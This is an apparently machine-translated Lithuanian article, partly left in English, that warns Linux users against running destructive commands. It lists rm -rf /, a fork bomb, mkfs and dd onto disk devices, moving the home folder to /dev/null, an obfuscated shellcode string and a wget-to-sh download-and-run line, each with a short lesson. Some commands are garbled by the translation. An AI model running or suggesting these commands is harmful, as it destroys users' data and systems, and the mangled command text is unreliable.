Mokant komandas, kurių neturėtumėte paleisti, galite apsaugoti jus nuo troleivių, tuo pačiu padidinant supratimą apie tai, kaip veikia "Linux". Tai nėra išsamus vadovas, čia komandas galima remiksiu įvairiais būdais.
Atkreipkite dėmesį, kad daugelis iš šių komandų bus pavojingos tik tuo atveju, jei jos bus priskirtos sudo Ubuntu - jie kitaip neveiks. Kitose "Linux" paskirstytuose dauguma komandų turi būti paleisti kaip root.
rm -rf / - ištrina viską!
Komanda rm-rf / ištrina viską, ką galbūt gali, įskaitant failus kietajame diske ir failus prijungtuose keičiamojoje laikmenoje. Ši komanda yra labiau suprantama, jei ji suskirstyta:
rm – Remove the following files.
- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.
Linux laimingai pakluso šiai komandai ir ištrins viską be jūsų raginimo, todėl būkite atsargūs, kai naudositės! Komandos rm taip pat gali būti naudojami kitais pavojingais būdais - rm-rf ~ ištrins visus failus savo namų aplanke rm -rf. * ištrins visus konfigūracijos failus.
Pamoka: Saugokis rm-rf.
Paslėptas rm-rf /
Štai kitas kodo fragmentas visame žiniatinklyje:
char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Tai yra šešioliktoji rm-rf / – Šios komandos vykdymas sunaikins tavo failus, tarsi būtų paleistas rm -rf /.
Pamoka: Negalima paleisti keistai, akivaizdžiai paslėptų komandų, kurių nesuprantate.
: () {: |: &};: - Šakutės bomba
Ši eilutė yra paprasta, bet pavojinga, bash funkcija:
:(){:|: &};:
Ši trumpa eilutė apibrėžia apvalkalo funkciją, kuri sukuria naujas savo kopijas. Procesas nuolat pakartoja save, o jo kopijos vis dažniau pakartoja save, greitai pritraukdami visą procesoriaus laiką ir atmintį. Tai gali sukelti jūsų kompiuterio užšalimą. Tai iš esmės yra tarnybos atsisakymas.
Pamoka: Bash funkcijos yra galingos, net labai trumpos.
mkfs.ext4 / dev / sda1 - formato standųjį diską
The mkfs.ext4 / dev / sda1komanda yra paprasta suprasti:
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
Taken kartu, ši komanda gali būti lygiavertė vykdomojo formato c: "Windows" - ji bus išvalyti failus į savo pirmąjį skaidinį ir pakeisti jas naujais failų sistema.
Ši komanda gali būti ir kitų formų - mkfs.ext3 / dev / sdb2 antrojo kietojo disko skirsnis būtų suformatuotas su ext3 failų sistema.
Pamoka: Saugokitės komandų paleidimą tiesiogiai kietojo disko įrenginiuose, kurie prasideda / dev / sd.
komanda> / dev / sda - rašo tiesiai į kietąjį diską
The komanda> / dev / sda linija veikia panašiai - ji paleidžia komandą ir siunčia šios komandos išvestį tiesiai į savo pirmąjį kietąjį diską, rašydama duomenis tiesiogiai į kietąjį diską ir sugadindama jūsų failų sistemą.
command – Run a command (can be any command.)
> – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
Pamoka: Kaip jau minėta, saugokitės komandų, kuriose yra kietojo disko įrenginiai, pradedant nuo / dev / sd.
dd if = / dev / random from = / dev / sda - rašo šiukšlių į kietąjį diską
The dd if = / dev / random from = / dev / sda linija taip pat panaikins duomenis viename iš jūsų standžiųjų diskų.
dd – Perform low-level copying from one location to another.
if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).
of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.
Pamoka: dd kopijuoja duomenis iš vienos vietos į kitą, o tai gali būti pavojinga, jei kopijuosite tiesiai į įrenginį.
mv ~ / dev / null - perkelia jūsų namų katalogą į juodąją skylę
/ dev / null yra dar viena speciali vieta - perkeliant kažką į / dev / null, tai yra tas pats, kaip jį sunaikinti. Pagalvokite / dev / null kaip juodąją skylę. Iš esmės mv ~ / dev / null siunčia visus jūsų asmeninius failus į juodąją skylę.
mv – Move the following file or directory to another location.
~ – Represents your entire home folder.
/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
Pamoka: "~" Simbolis vaizduoja jūsų namų aplanką ir perkeliamas daiktas į / dev / null juos sunaikina.
wget https://example.com/something -O - | sh - Atsisiųsti ir paleisti scenarijų
Viršuje parsisiunčiamas scenarijus iš žiniatinklio ir siunčiamas į "sh", kuris vykdo scenarijaus turinį. Tai gali būti pavojinga, jei nesate tikri, koks scenarijus yra, ar jei jūs nepasitikite jo šaltiniu - nesukurkite patikimų scenarijų.
wget – Downloads a file. (You may also see curl in place of wget.)
https://example.com/something – Download the file from this location.
| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
sh – Send the file to the sh command, which executes it if it’s a bash script.
Pamoka: Negalima atsisiųsti ir paleisti nepatikimų scenarijų iš žiniatinklio net su komanda.
Žinoti kokias nors kitas pavojingas komandas, kad nauji (ir patyrę) Linux vartotojai neturėtų paleisti? Palikite komentarą ir dalinkitės ja.